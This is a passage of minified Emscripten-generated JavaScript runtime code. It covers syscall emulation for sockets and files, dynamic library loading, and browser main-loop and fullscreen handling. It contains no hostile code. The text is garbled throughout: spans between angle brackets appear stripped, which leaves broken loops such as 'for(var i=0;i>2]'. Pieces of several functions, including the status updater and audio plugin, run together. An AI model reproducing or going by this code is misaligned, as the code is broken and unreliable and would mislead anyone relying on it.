10:if(salen!==28){return{errno:ERRNO_CODES.EINVAL}}addr=[HEAP32[sa+8>>2],HEAP32[sa+12>>2],HEAP32[sa+16>>2],HEAP32[sa+20>>2]];addr=__inet_ntop6_raw(addr);break;default:return{errno:ERRNO_CODES.EAFNOSUPPORT}}return{family:family,addr:addr,port:port}}function __write_sockaddr(sa,family,addr,port){switch(family){case 2:addr=__inet_pton4_raw(addr);HEAP16[sa>>1]=family;HEAP32[sa+4>>2]=addr;HEAP16[sa+2>>1]=_htons(port);break;case 10:addr=__inet_pton6_raw(addr);HEAP32[sa>>2]=family;HEAP32[sa+8>>2]=addr[0];HEAP32[sa+12>>2]=addr[1];HEAP32[sa+16>>2]=addr[2];HEAP32[sa+20>>2]=addr[3];HEAP16[sa+2>>1]=_htons(port);HEAP32[sa+4>>2]=0;HEAP32[sa+24>>2]=0;break;default:return{errno:ERRNO_CODES.EAFNOSUPPORT}}return{}}function ___syscall102(which,varargs){SYSCALLS.varargs=varargs;try{var call=SYSCALLS.get(),socketvararg=SYSCALLS.get();SYSCALLS.varargs=socketvararg;switch(call){case 1:{var domain=SYSCALLS.get(),type=SYSCALLS.get(),protocol=SYSCALLS.get();var sock=SOCKFS.createSocket(domain,type,protocol);assert(sock.stream.fd<64);return sock.stream.fd};case 2:{var sock=SYSCALLS.getSocketFromFD(),info=SYSCALLS.getSocketAddress();sock.sock_ops.bind(sock,info.addr,info.port);return 0};case 3:{var sock=SYSCALLS.getSocketFromFD(),info=SYSCALLS.getSocketAddress();sock.sock_ops.connect(sock,info.addr,info.port);return 0};case 4:{var sock=SYSCALLS.getSocketFromFD(),backlog=SYSCALLS.get();sock.sock_ops.listen(sock,backlog);return 0};case 5:{var sock=SYSCALLS.getSocketFromFD(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();var newsock=sock.sock_ops.accept(sock);if(addr){var res=__write_sockaddr(addr,newsock.family,DNS.lookup_name(newsock.daddr),newsock.dport);assert(!res.errno)}return newsock.stream.fd};case 6:{var sock=SYSCALLS.getSocketFromFD(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();var res=__write_sockaddr(addr,sock.family,DNS.lookup_name(sock.saddr||"0.0.0.0"),sock.sport);assert(!res.errno);return 0};case 7:{var sock=SYSCALLS.getSocketFromFD(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();if(!sock.daddr){return-ERRNO_CODES.ENOTCONN}var res=__write_sockaddr(addr,sock.family,DNS.lookup_name(sock.daddr),sock.dport);assert(!res.errno);return 0};case 11:{var sock=SYSCALLS.getSocketFromFD(),message=SYSCALLS.get(),length=SYSCALLS.get(),flags=SYSCALLS.get(),dest=SYSCALLS.getSocketAddress(true);if(!dest){return FS.write(sock.stream,HEAP8,message,length)}else{return sock.sock_ops.sendmsg(sock,HEAP8,message,length,dest.addr,dest.port)}};case 12:{var sock=SYSCALLS.getSocketFromFD(),buf=SYSCALLS.get(),len=SYSCALLS.get(),flags=SYSCALLS.get(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();var msg=sock.sock_ops.recvmsg(sock,len);if(!msg)return 0;if(addr){var res=__write_sockaddr(addr,sock.family,DNS.lookup_name(msg.addr),msg.port);assert(!res.errno)}HEAPU8.set(msg.buffer,buf);return msg.buffer.byteLength};case 14:{return-ERRNO_CODES.ENOPROTOOPT};case 15:{var sock=SYSCALLS.getSocketFromFD(),level=SYSCALLS.get(),optname=SYSCALLS.get(),optval=SYSCALLS.get(),optlen=SYSCALLS.get();if(level===1){if(optname===4){HEAP32[optval>>2]=sock.error;HEAP32[optlen>>2]=4;sock.error=null;return 0}}return-ERRNO_CODES.ENOPROTOOPT};case 16:{var sock=SYSCALLS.getSocketFromFD(),message=SYSCALLS.get(),flags=SYSCALLS.get();var iov=HEAP32[message+8>>2];var num=HEAP32[message+12>>2];var addr,port;var name=HEAP32[message>>2];var namelen=HEAP32[message+4>>2];if(name){var info=__read_sockaddr(name,namelen);if(info.errno)return-info.errno;port=info.port;addr=DNS.lookup_addr(info.addr)||info.addr}var total=0;for(var i=0;i>2]}var view=new Uint8Array(total);var offset=0;for(var i=0;i>2];var iovlen=HEAP32[iov+(8*i+4)>>2];for(var j=0;j>0]}}return sock.sock_ops.sendmsg(sock,view,0,total,addr,port)};case 17:{var sock=SYSCALLS.getSocketFromFD(),message=SYSCALLS.get(),flags=SYSCALLS.get();var iov=HEAP32[message+8>>2];var num=HEAP32[message+12>>2];var total=0;for(var i=0;i>2]}var msg=sock.sock_ops.recvmsg(sock,total);if(!msg)return 0;var name=HEAP32[message>>2];if(name){var res=__write_sockaddr(name,sock.family,DNS.lookup_name(msg.addr),msg.port);assert(!res.errno)}var bytesRead=0;var bytesRemaining=msg.buffer.byteLength;for(var i=0;bytesRemaining>0&&i>2];var iovlen=HEAP32[iov+(8*i+4)>>2];if(!iovlen){continue}var length=Math.min(iovlen,bytesRemaining);var buf=msg.buffer.subarray(bytesRead,bytesRead+length);HEAPU8.set(buf,iovbase+bytesRead);bytesRead+=length;bytesRemaining-=length}return bytesRead};default:abort("unsupported socketcall syscall "+call)}}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall122(which,varargs){SYSCALLS.varargs=varargs;try{var buf=SYSCALLS.get();if(!buf)return-ERRNO_CODES.EFAULT;var layout={"sysname":0,"nodename":65,"domainname":325,"machine":260,"version":195,"release":130,"__size__":390};function copyString(element,value){var offset=layout[element];writeAsciiToMemory(value,buf+offset)}copyString("sysname","Emscripten");copyString("nodename","emscripten");copyString("release","1.0");copyString("version","#1");copyString("machine","x86-JS");return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall140(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),offset_high=SYSCALLS.get(),offset_low=SYSCALLS.get(),result=SYSCALLS.get(),whence=SYSCALLS.get();var offset=offset_low;FS.llseek(stream,offset,whence);HEAP32[result>>2]=stream.position;if(stream.getdents&&offset===0&&whence===0)stream.getdents=null;return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall142(which,varargs){SYSCALLS.varargs=varargs;try{var nfds=SYSCALLS.get(),readfds=SYSCALLS.get(),writefds=SYSCALLS.get(),exceptfds=SYSCALLS.get(),timeout=SYSCALLS.get();assert(nfds<=64,"nfds must be less than or equal to 64");assert(!exceptfds,"exceptfds not supported");var total=0;var srcReadLow=readfds?HEAP32[readfds>>2]:0,srcReadHigh=readfds?HEAP32[readfds+4>>2]:0;var srcWriteLow=writefds?HEAP32[writefds>>2]:0,srcWriteHigh=writefds?HEAP32[writefds+4>>2]:0;var srcExceptLow=exceptfds?HEAP32[exceptfds>>2]:0,srcExceptHigh=exceptfds?HEAP32[exceptfds+4>>2]:0;var dstReadLow=0,dstReadHigh=0;var dstWriteLow=0,dstWriteHigh=0;var dstExceptLow=0,dstExceptHigh=0;var allLow=(readfds?HEAP32[readfds>>2]:0)|(writefds?HEAP32[writefds>>2]:0)|(exceptfds?HEAP32[exceptfds>>2]:0);var allHigh=(readfds?HEAP32[readfds+4>>2]:0)|(writefds?HEAP32[writefds+4>>2]:0)|(exceptfds?HEAP32[exceptfds+4>>2]:0);function check(fd,low,high,val){return fd<32?low&val:high&val}for(var fd=0;fd>2]=dstReadLow;HEAP32[readfds+4>>2]=dstReadHigh}if(writefds){HEAP32[writefds>>2]=dstWriteLow;HEAP32[writefds+4>>2]=dstWriteHigh}if(exceptfds){HEAP32[exceptfds>>2]=dstExceptLow;HEAP32[exceptfds+4>>2]=dstExceptHigh}return total}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall145(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),iov=SYSCALLS.get(),iovcnt=SYSCALLS.get();return SYSCALLS.doReadv(stream,iov,iovcnt)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall146(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),iov=SYSCALLS.get(),iovcnt=SYSCALLS.get();return SYSCALLS.doWritev(stream,iov,iovcnt)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall15(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),mode=SYSCALLS.get();FS.chmod(path,mode);return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall183(which,varargs){SYSCALLS.varargs=varargs;try{var buf=SYSCALLS.get(),size=SYSCALLS.get();if(size===0)return-ERRNO_CODES.EINVAL;var cwd=FS.cwd();var cwdLengthInBytes=lengthBytesUTF8(cwd);if(size0&&pos+268<=count){var id;var type;var name=stream.getdents.pop();if(name[0]==="."){id=1;type=4}else{var child=FS.lookupNode(stream.node,name);id=child.id;type=FS.isChrdev(child.mode)?2:FS.isDir(child.mode)?4:FS.isLink(child.mode)?10:8}HEAP32[dirp+pos>>2]=id;HEAP32[dirp+pos+4>>2]=stream.position;HEAP16[dirp+pos+8>>1]=268;HEAP8[dirp+pos+10>>0]=type;stringToUTF8(name,dirp+pos+11,256);pos+=268}return pos}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall221(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),cmd=SYSCALLS.get();switch(cmd){case 0:{var arg=SYSCALLS.get();if(arg<0){return-ERRNO_CODES.EINVAL}var newStream;newStream=FS.open(stream.path,stream.flags,0,arg);return newStream.fd};case 1:case 2:return 0;case 3:return stream.flags;case 4:{var arg=SYSCALLS.get();stream.flags|=arg;return 0};case 12:case 12:{var arg=SYSCALLS.get();var offset=0;HEAP16[arg+offset>>1]=2;return 0};case 13:case 14:case 13:case 14:return 0;case 16:case 8:return-ERRNO_CODES.EINVAL;case 9:___setErrNo(ERRNO_CODES.EINVAL);return-1;default:{return-ERRNO_CODES.EINVAL}}}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall268(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),size=SYSCALLS.get(),buf=SYSCALLS.get();assert(size===64);HEAP32[buf+4>>2]=4096;HEAP32[buf+40>>2]=4096;HEAP32[buf+8>>2]=1e6;HEAP32[buf+12>>2]=5e5;HEAP32[buf+16>>2]=5e5;HEAP32[buf+20>>2]=FS.nextInode;HEAP32[buf+24>>2]=1e6;HEAP32[buf+28>>2]=42;HEAP32[buf+44>>2]=2;HEAP32[buf+36>>2]=255;return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall3(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),buf=SYSCALLS.get(),count=SYSCALLS.get();return FS.read(stream,HEAP8,buf,count)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall33(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),amode=SYSCALLS.get();return SYSCALLS.doAccess(path,amode)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall38(which,varargs){SYSCALLS.varargs=varargs;try{var old_path=SYSCALLS.getStr(),new_path=SYSCALLS.getStr();FS.rename(old_path,new_path);return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall39(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),mode=SYSCALLS.get();return SYSCALLS.doMkdir(path,mode)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall4(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),buf=SYSCALLS.get(),count=SYSCALLS.get();return FS.write(stream,HEAP8,buf,count)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall40(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr();FS.rmdir(path);return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall5(which,varargs){SYSCALLS.varargs=varargs;try{var pathname=SYSCALLS.getStr(),flags=SYSCALLS.get(),mode=SYSCALLS.get();var stream=FS.open(pathname,flags,mode);return stream.fd}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall54(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),op=SYSCALLS.get();switch(op){case 21509:case 21505:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21510:case 21511:case 21512:case 21506:case 21507:case 21508:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21519:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;var argp=SYSCALLS.get();HEAP32[argp>>2]=0;return 0};case 21520:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return-ERRNO_CODES.EINVAL};case 21531:{var argp=SYSCALLS.get();return FS.ioctl(stream,op,argp)};case 21523:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21524:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};default:abort("bad ioctl syscall "+op)}}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall6(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD();FS.close(stream);return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall77(which,varargs){SYSCALLS.varargs=varargs;try{var who=SYSCALLS.get(),usage=SYSCALLS.get();_memset(usage,0,136);HEAP32[usage>>2]=1;HEAP32[usage+4>>2]=2;HEAP32[usage+8>>2]=3;HEAP32[usage+12>>2]=4;return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall85(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),buf=SYSCALLS.get(),bufsize=SYSCALLS.get();return SYSCALLS.doReadlink(path,buf,bufsize)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall91(which,varargs){SYSCALLS.varargs=varargs;try{var addr=SYSCALLS.get(),len=SYSCALLS.get();var info=SYSCALLS.mappings[addr];if(!info)return 0;if(len===info.len){var stream=FS.getStream(info.fd);SYSCALLS.doMsync(addr,stream,len,info.flags);FS.munmap(stream);SYSCALLS.mappings[addr]=null;if(info.allocated){_free(info.malloc)}}return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___unlock(){}function _abort(){Module["abort"]()}function _atexit(func,arg){__ATEXIT__.unshift({func:func,arg:arg})}function _clock(){if(_clock.start===undefined)_clock.start=Date.now();return(Date.now()-_clock.start)*(1e6/1e3)|0}function _emscripten_get_now_res(){if(ENVIRONMENT_IS_NODE){return 1}else if(typeof dateNow!=="undefined"||(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&self["performance"]&&self["performance"]["now"]){return 1e3}else{return 1e3*1e3}}function _emscripten_get_now(){abort()}function _emscripten_get_now_is_monotonic(){return ENVIRONMENT_IS_NODE||typeof dateNow!=="undefined"||(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&self["performance"]&&self["performance"]["now"]}function _clock_getres(clk_id,res){var nsec;if(clk_id===0){nsec=1e3*1e3}else if(clk_id===1&&_emscripten_get_now_is_monotonic()){nsec=_emscripten_get_now_res()}else{___setErrNo(ERRNO_CODES.EINVAL);return-1}HEAP32[res>>2]=nsec/1e9|0;HEAP32[res+4>>2]=nsec;return 0}function _clock_gettime(clk_id,tp){var now;if(clk_id===0){now=Date.now()}else if(clk_id===1&&_emscripten_get_now_is_monotonic()){now=_emscripten_get_now()}else{___setErrNo(ERRNO_CODES.EINVAL);return-1}HEAP32[tp>>2]=now/1e3|0;HEAP32[tp+4>>2]=now%1e3*1e3*1e3|0;return 0}function _difftime(time1,time0){return time1-time0}var DLFCN={error:null,errorMsg:null,loadedLibs:{},loadedLibNames:{}};function _dlclose(handle){if(!DLFCN.loadedLibs[handle]){DLFCN.errorMsg="Tried to dlclose() unopened handle: "+handle;return 1}else{var lib_record=DLFCN.loadedLibs[handle];if(--lib_record.refcount==0){if(lib_record.module.cleanups){lib_record.module.cleanups.forEach((function(cleanup){cleanup()}))}delete DLFCN.loadedLibNames[lib_record.name];delete DLFCN.loadedLibs[handle]}return 0}}function _dlopen(filename,flag){abort("To use dlopen, you need to use Emscripten's linking support, see https://github.com/kripken/emscripten/wiki/Linking");var searchpaths=[];if(filename===0){filename="__self__"}else{var strfilename=Pointer_stringify(filename);var isValidFile=(function(filename){var target=FS.findObject(filename);return target&&!target.isFolder&&!target.isDevice});if(isValidFile(strfilename)){filename=strfilename}else{if(ENV["LD_LIBRARY_PATH"]){searchpaths=ENV["LD_LIBRARY_PATH"].split(":")}for(var ident in searchpaths){var searchfile=PATH.join2(searchpaths[ident],strfilename);if(isValidFile(searchfile)){filename=searchfile;break}}}}if(DLFCN.loadedLibNames[filename]){var handle=DLFCN.loadedLibNames[filename];DLFCN.loadedLibs[handle].refcount++;return handle}var lib_module;if(filename==="__self__"){var handle=-1;lib_module=Module}else{if(Module["preloadedWasm"]!==undefined&&Module["preloadedWasm"][filename]!==undefined){lib_module=Module["preloadedWasm"][filename]}else{var target=FS.findObject(filename);if(!target||target.isFolder||target.isDevice){DLFCN.errorMsg="Could not find dynamic lib: "+filename;return 0}FS.forceLoadFile(target);try{var lib_data=FS.readFile(filename,{encoding:"binary"});if(!(lib_data instanceof Uint8Array))lib_data=new Uint8Array(lib_data);lib_module=loadWebAssemblyModule(lib_data)}catch(e){DLFCN.errorMsg="Could not evaluate dynamic lib: "+filename+"\n"+e;return 0}}var handle=1;for(var key in DLFCN.loadedLibs){if(DLFCN.loadedLibs.hasOwnProperty(key))handle++}if(flag&256){for(var ident in lib_module){if(lib_module.hasOwnProperty(ident)){if(ident[0]=="_"){Module[ident]=lib_module[ident]}}}}}DLFCN.loadedLibs[handle]={refcount:1,name:filename,module:lib_module};DLFCN.loadedLibNames[filename]=handle;return handle}function _dlsym(handle,symbol){symbol=Pointer_stringify(symbol);if(!DLFCN.loadedLibs[handle]){DLFCN.errorMsg="Tried to dlsym() from an unopened handle: "+handle;return 0}else{var lib=DLFCN.loadedLibs[handle];symbol="_"+symbol;if(!lib.module.hasOwnProperty(symbol)){DLFCN.errorMsg='Tried to lookup unknown symbol "'+symbol+'" in dynamic lib: '+lib.name;return 0}else{var result=lib.module[symbol];if(typeof result==="function"){return addFunction(result)}return result}}}function _emscripten_set_main_loop_timing(mode,value){Browser.mainLoop.timingMode=mode;Browser.mainLoop.timingValue=value;if(!Browser.mainLoop.func){return 1}if(mode==0){Browser.mainLoop.scheduler=function Browser_mainLoop_scheduler_setTimeout(){var timeUntilNextTick=Math.max(0,Browser.mainLoop.tickStartTime+value-_emscripten_get_now())|0;setTimeout(Browser.mainLoop.runner,timeUntilNextTick)};Browser.mainLoop.method="timeout"}else if(mode==1){Browser.mainLoop.scheduler=function Browser_mainLoop_scheduler_rAF(){Browser.requestAnimationFrame(Browser.mainLoop.runner)};Browser.mainLoop.method="rAF"}else if(mode==2){if(typeof setImmediate==="undefined"){var setImmediates=[];var emscriptenMainLoopMessageId="setimmediate";function Browser_setImmediate_messageHandler(event){if(event.data===emscriptenMainLoopMessageId||event.data.target===emscriptenMainLoopMessageId){event.stopPropagation();setImmediates.shift()()}}addEventListener("message",Browser_setImmediate_messageHandler,true);setImmediate=function Browser_emulated_setImmediate(func){setImmediates.push(func);if(ENVIRONMENT_IS_WORKER){if(Module["setImmediates"]===undefined)Module["setImmediates"]=[];Module["setImmediates"].push(func);postMessage({target:emscriptenMainLoopMessageId})}else postMessage(emscriptenMainLoopMessageId,"*")}}Browser.mainLoop.scheduler=function Browser_mainLoop_scheduler_setImmediate(){setImmediate(Browser.mainLoop.runner)};Browser.mainLoop.method="immediate"}return 0}function _emscripten_set_main_loop(func,fps,simulateInfiniteLoop,arg,noSetTiming){Module["noExitRuntime"]=true;assert(!Browser.mainLoop.func,"emscripten_set_main_loop: there can only be one main loop function at once: call emscripten_cancel_main_loop to cancel the previous one before setting a new one with different parameters.");Browser.mainLoop.func=func;Browser.mainLoop.arg=arg;var browserIterationFunc;if(typeof arg!=="undefined"){browserIterationFunc=(function(){Module["dynCall_vi"](func,arg)})}else{browserIterationFunc=(function(){Module["dynCall_v"](func)})}var thisMainLoopId=Browser.mainLoop.currentlyRunningMainloop;Browser.mainLoop.runner=function Browser_mainLoop_runner(){if(ABORT)return;if(Browser.mainLoop.queue.length>0){var start=Date.now();var blocker=Browser.mainLoop.queue.shift();blocker.func(blocker.arg);if(Browser.mainLoop.remainingBlockers){var remaining=Browser.mainLoop.remainingBlockers;var next=remaining%1==0?remaining-1:Math.floor(remaining);if(blocker.counted){Browser.mainLoop.remainingBlockers=next}else{next=next+.5;Browser.mainLoop.remainingBlockers=(8*remaining+next)/9}}console.log('main loop blocker "'+blocker.name+'" took '+(Date.now()-start)+" ms");Browser.mainLoop.updateStatus();if(thisMainLoopId1&&Browser.mainLoop.currentFrameNumber%Browser.mainLoop.timingValue!=0){Browser.mainLoop.scheduler();return}else if(Browser.mainLoop.timingMode==0){Browser.mainLoop.tickStartTime=_emscripten_get_now()}if(Browser.mainLoop.method==="timeout"&&Module.ctx){err("Looks like you are rendering without using requestAnimationFrame for the main loop. You should use 0 for the frame rate in emscripten_set_main_loop in order to use requestAnimationFrame, as that can greatly improve your frame rates!");Browser.mainLoop.method=""}Browser.mainLoop.runIter(browserIterationFunc);if(thisMainLoopId0)_emscripten_set_main_loop_timing(0,1e3/fps);else _emscripten_set_main_loop_timing(1,1);Browser.mainLoop.scheduler()}if(simulateInfiniteLoop){throw"SimulateInfiniteLoop"}}var Browser={mainLoop:{scheduler:null,method:"",currentlyRunningMainloop:0,func:null,arg:0,timingMode:0,timingValue:0,currentFrameNumber:0,queue:[],pause:(function(){Browser.mainLoop.scheduler=null;Browser.mainLoop.currentlyRunningMainloop++}),resume:(function(){Browser.mainLoop.currentlyRunningMainloop++;var timingMode=Browser.mainLoop.timingMode;var timingValue=Browser.mainLoop.timingValue;var func=Browser.mainLoop.func;Browser.mainLoop.func=null;_emscripten_set_main_loop(func,0,false,Browser.mainLoop.arg,true);_emscripten_set_main_loop_timing(timingMode,timingValue);Browser.mainLoop.scheduler()}),updateStatus:(function(){if(Module["setStatus"]){var message=Module["statusMessage"]||"Please wait...";var remaining=Browser.mainLoop.remainingBlockers;var expected=Browser.mainLoop.expectedBlockers;if(remaining){if(remaining=6){var curr=leftchar>>leftbits-6&63;leftbits-=6;ret+=BASE[curr]}}if(leftbits==2){ret+=BASE[(leftchar&3)<<4];ret+=PAD+PAD}else if(leftbits==4){ret+=BASE[(leftchar&15)<<2];ret+=PAD}return ret}audio.src="data:audio/x-"+name.substr(-3)+";base64,"+encode64(byteArray);finish(audio)};audio.src=url;Browser.safeSetTimeout((function(){finish(audio)}),1e4)}else{return fail()}};Module["preloadPlugins"].push(audioPlugin);function pointerLockChange(){Browser.pointerLock=document["pointerLockElement"]===Module["canvas"]||document["mozPointerLockElement"]===Module["canvas"]||document["webkitPointerLockElement"]===Module["canvas"]||document["msPointerLockElement"]===Module["canvas"]}var canvas=Module["canvas"];if(canvas){canvas.requestPointerLock=canvas["requestPointerLock"]||canvas["mozRequestPointerLock"]||canvas["webkitRequestPointerLock"]||canvas["msRequestPointerLock"]||(function(){});canvas.exitPointerLock=document["exitPointerLock"]||document["mozExitPointerLock"]||document["webkitExitPointerLock"]||document["msExitPointerLock"]||(function(){});canvas.exitPointerLock=canvas.exitPointerLock.bind(document);document.addEventListener("pointerlockchange",pointerLockChange,false);document.addEventListener("mozpointerlockchange",pointerLockChange,false);document.addEventListener("webkitpointerlockchange",pointerLockChange,false);document.addEventListener("mspointerlockchange",pointerLockChange,false);if(Module["elementPointerLock"]){canvas.addEventListener("click",(function(ev){if(!Browser.pointerLock&&Module["canvas"].requestPointerLock){Module["canvas"].requestPointerLock();ev.preventDefault()}}),false)}}}),createContext:(function(canvas,useWebGL,setInModule,webGLContextAttributes){if(useWebGL&&Module.ctx&&canvas==Module.canvas)return Module.ctx;var ctx;var contextHandle;if(useWebGL){var contextAttributes={antialias:false,alpha:false};if(webGLContextAttributes){for(var attribute in webGLContextAttributes){contextAttributes[attribute]=webGLContextAttributes[attribute]}}contextHandle=GL.createContext(canvas,contextAttributes);if(contextHandle){ctx=GL.getContext(contextHandle).GLctx}}else{ctx=canvas.getContext("2d")}if(!ctx)return null;if(setInModule){if(!useWebGL)assert(typeof GLctx==="undefined","cannot set in module if GLctx is used, but we are a non-GL context that would replace it");Module.ctx=ctx;if(useWebGL)GL.makeContextCurrent(contextHandle);Module.useWebGL=useWebGL;Browser.moduleContextCreatedCallbacks.forEach((function(callback){callback()}));Browser.init()}return ctx}),destroyContext:(function(canvas,useWebGL,setInModule){}),fullscreenHandlersInstalled:false,lockPointer:undefined,resizeCanvas:undefined,requestFullscreen:(function(lockPointer,resizeCanvas,vrDevice){Browser.lockPointer=lockPointer;Browser.resizeCanvas=resizeCanvas;Browser.vrDevice=vrDevice;if(typeof Browser.lockPointer==="undefined")Browser.lockPointer=true;if(typeof Browser.resizeCanvas==="undefined")Browser.resizeCanvas=false;if(typeof Browser.vrDevice==="undefined")Browser.vrDevice=null;var canvas=Module["canvas"];function fullscreenChange(){Browser.isFullscreen=false;var canvasContainer=canvas.parentNode;if((document["fullscreenElement"]||document["mozFullScreenElement"]||document["msFullscreenElement"]||document["webkitFullscreenElement"]||document["webkitCurrentFullScreenElement"])===canvasContainer){canvas.exitFullscreen=document["exitFullscreen"]||document["cancelFullScreen"]||document["mozCancelFullScreen"]||document["msExitFullscreen"]||document["webkitCancelFullScreen"]||(function(){});canvas.exitFullscreen=canvas.exitFullscreen.bind(document);if(Browser.lockPointer)canvas.requestPointerLock();Browser.isFullscreen=true;if(Browser.resizeCanvas){Browser.setFullscreenCanvasSize()}else{Browser.updateCanvasDimensions(canvas)}}else{canvasContainer.parentNode.insertBefore(canvas,canvasContainer);canvasContainer.parentNode.removeChild(canvasContainer);if(Browser.resizeCanvas){Browser.setWindowedCanvasSize()}else{Browser.updateCanvasDimensions(canvas)}}if(Module["onFullScreen"])Module["onFullScreen"](Browser.isFullscreen);if(Module["onFullscreen"])Module["onFullscreen"](Browser.isFullscreen)}if(!Browser.fullscreenHandlersInstalled){Browser.fullscreenHandlersInstalled=true;document.addEventListener("fullscreenchange",fullscreenChange,false);document.addEventListener("mozfullscreenchange",fullscreenChange,false);document.addEventListener("webkitfullscreenchange",fullscreenChange,false);document.addEventListener("MSFullscreenChange",fullscreenChange,false)}var canvasContainer=document.createElement("div");canvas.parentNode.insertBefore(canvasContainer,canvas);canvasContainer.appendChild(canvas);canvasContainer.requestFullscreen=canvasContainer["requestFullscreen"]||canvasContainer["mozRequestFullScreen"]||canvasContainer["msRequestFullscreen"]||(canvasContainer["webkitRequestFullscreen"]?(function(){canvasContainer["webkitRequestFullscreen"](Element["ALLOW_KEYBOARD_INPUT"])}):null)||(canvasContainer["webkitRequestFullScreen"]?(function(){canvasContainer["webkitRequestFullScreen"](Element["ALLOW_KEYBOARD_INPUT"])}):null);if(vrDevice){canvasContainer.requestFullscreen({vrDisplay:vrDevice})}else{canvasContainer.requestFullscreen()}}),requestFullScreen:(function(lockPointer,resizeCanvas,vrDevice){err("Browser.requestFullScreen() is deprecated. Please call Browser.requestFullscreen instead.");Browser.requestFullScreen=(function(lockPointer,resizeCanvas,vrDevice){return Browser.requestFullscreen(lockPointer,resizeCanvas,vrDevice)});return Browser.requestFullscreen(lockPointer,resizeCanvas,vrDevice)}),nextRAF:0,fakeRequestAnimationFrame:(function(func){var now=Date.now();if(Browser.nextRAF===0){Browser.nextRAF=now+1e3/60}else{while(now+2>=Browser.nextRAF){Browser.nextRAF+=1e3/60}}var delay=Math.max(Browser.nextRAF-now,0);setTimeout(func,delay)}),requestAnimationFrame:function requestAnimationFrame(func){if(typeof window==="undefined"){Browser.fakeRequestAnimationFrame(func)}else{if(!window.requestAnimationFrame){window.requestAnimationFrame=window["requestAnimationFrame"]||window["mozRequestAnimationFrame"]||window["webkitRequestAnimationFrame"]||window["msRequestAnimationFrame"]||window["oRequestAnimationFrame"]||Browser.fakeRequestAnimationFrame}window.requestAnimationFrame(func)}},safeCallback:(function(func){return(function(){if(!ABORT)return func.apply(null,arguments)})}),allowAsyncCallbacks:true,queuedAsyncCallbacks:[],pauseAsyncCallbacks:(function(){Browser.allowAsyncCallbacks=false}),resumeAsyncCallbacks:(function(){Browser.allowAsyncCallbacks=true;if(Browser.queuedAsyncCallbacks.length>0){var callbacks=Browser.queuedAsyncCallbacks;Browser.queuedAsyncCallbacks=[];callbacks.forEach((function(func){func()}))}}),safeRequestAnimationFrame:(function(func){return 